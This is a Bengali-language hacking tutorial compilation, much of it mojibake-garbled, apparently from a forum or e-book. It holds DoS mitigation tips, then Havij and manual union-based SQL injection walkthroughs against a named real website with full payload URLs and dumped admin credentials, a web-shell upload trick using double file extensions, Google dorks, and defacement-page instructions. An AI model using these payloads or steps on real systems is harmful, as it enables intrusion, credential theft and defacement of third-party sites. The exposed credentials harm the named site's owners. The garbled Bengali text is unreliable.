৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
যাকায চছেন সআ ফযকতি কতমকতন কতনযাততাকতনযাততায াচছথ জকতিত এফং কতনযাততা ফযফসথায দফবর কতদক খচছজ সফয কযায কতফচছলবাচছফ দকষ থফা নয ককতিউটায ফযফসথায বফধ নপরচছফ কযচছত কষভ ফা এয িচছকব গবীযজঞাচছনয কতধকাযী াধাযনবাচছফ যাকায বদটি কাচছরা-টকত যাকায চছথবআ ফচছচচছয সফকত ফযফহত য মাযা ভরত ধবংভরক ফা যাধভরক কভবকানড কচছয থাচছকন এছািা অচছযা ননকততক যাকায যচছযচছছন (মাযা াধাযনবাচছফ াদা টকত যাকায নাচছভ কতযকতচত) এফং ননকততকতা িচছকব কতযষকায যাকায অচছছন মাচছদয ধয টকত যাকায ফচছর এচছদয ভচছধয াথবকয কযায জনয পরায করযাকায বদটি ফযফায কযা য মা ককতিউটায কতনযাততা যাকায সথচছক একাচছডকতভক কতফলচছযয যাকায সথচছক অরাদা কযায জনয ফযফায কযা য থফা াধ যাকায (কাচছরা টকত যাকায) সথচছক ননকততক যাকাচছযয (াদা টকত যাকায) াথবকয ফঝাচছত ফযফহত য যাকাযযা বাচব যার জগচছত নতন কতকছ কতি কযচছত াচছযভযায ভাধান কযচছত াচছয তাযা সবাধীনতা এফং াযসপকতযক চছমাগীতায কতফশবাী যাকায যায ফবপরথভ তব চছে অনাচছক অচছগ ঠিক কযচছত চছফ অকতন সকান ধযচছনয যাকায চছফন উচছয ৩ ধযচছনয যাকায িচছকব ফরা চছযচছছঅনাচছদয কতফধাচছথব অচছযকট সাি কযকতছ
াদা টকত যাকায (White Hat Hacker)- এযা ককতিউটায তথা াআফাযযাচছডব য কতনযাততা পরদান কচছয এযা কখন চছযয কষকতত াধন কচছয নাএচছদযচছক আকতথকার যাকায ফরা চছয থাচছক
ধয টকত যাকায (Grey Hat Hacker)- এযা এভন একধযচছনয যাকায মাযাাদা টকত কাচছরা টকতচছদয ভধযফতী সথাচছন ফসথান কচছয এযা আচছে কযচছরকায কষকতত াধন কযচছত াচছয অফায উকায কযচছত াচছয
কাচছরা টকত যাকায (Black Hat Hacker)- যাকায ফরচছত াধাযনত কাচছরা টকতযাকাযচছদযআ ফঝায এযা ফভযআ সকান না সকান বাচছফ চছযয কষকতত াধন কচছযাআফায যাচছডব এযা ফভযআ ঘকতনত চছয থাচছকএছািা অয কতকছ যাকায ধযন যচছযচছছ সমভন -
কতিপট কতককতড (Script Kidie)- এযা কতনচছজযা কতকছআ াচছয না ফযং কতফকতবননটরস ফা চছনযয ফানাচছনা কতিপট ফযফায কচছয এযা কাচছমবাকতকতি কচছয
কতনপাআট ফা সনাফ (Neophyte or nOOb)- এযা যাকতকং কতকষাথী এযা যাকতকং সকফর কতখচছছ নয চছথব এচছদয কতফকতগনায ফা কতনউফাআ ফরা মায
নীর টকত যাকায (Blue Hat Hacker)- এযা অচছর যাকতকংচছযয াচছথ সতভনজকতিত নয সকান পটযায ফা কতরচছখচছছনঃ সভচছকতদ াান
যাকায মাযা
যাকায চছেন একজন ফযাকতি কতমকতন শধভাতর কতফকতবনন ভাধযভকতচছেভ এয খত খচছজ সফয কচছয কতকনত কততকতন এয কষকততাধন কচছযন না একজন যাকায ভরত একজন সপরাগরাভায মায পরধান কাজ চছে নরাআচছন সকান কতচছেচছভয খাযাকতদকগচছরা খচছজ সফয কযা তাযা সপরাগরাভায এফং তাযা সপরাগরাভ নতন নতন খতচছফয কযচছত ফযফায কচছয
যাকায সপাযাভ
অকতন একজন যাকায চছত চছর পরথচছভ অনাচছক কতফকতবনন আকতথকার যাকায মাযাভরত আকতরট (এ ফযাাচছয অচছগয ধযাচছয ফরা চছযচছছ) তাচছদয সথচছক গরতবণব টিগচছরা কতচছখ কতনচছত চছফ অয কতফকতবনন ধযচছনয টি কতনচছয অচছরাচনা য সপাযাচছভকতনচছচ যাকাযচছদয জনয কচছযকটি গরতবণব সপাযাচছভয কতরংক পরদান কযা র সপাযাভগচছরাচছত সমাগকতদন এফং কতনযকতভত সািগচছরা িন সকান কতফলয জানচছত চাআচছর সখাচছনআ াাময চাআচছত াচছযন
wwwhackerthreadsorgwwwhackforumsnetwwwhackerorgforumwwwcrackhackforumcom
যাকতকংকতযচছাব
যাকতকং কযচছত চছর কতফকতবনন পটযযায পরচছযাজন য পরচছযাজন য সকাড কতিপট ডকব আতযাকতদয কতনচছচ কতকছ কতরংক সদযা র সমখান সথচছক অকতন চছনকভরযফান যাকতকং কতযচছাব সচছত াচছযন মা অনাচছক যাকায চছত াাময কযচছফ
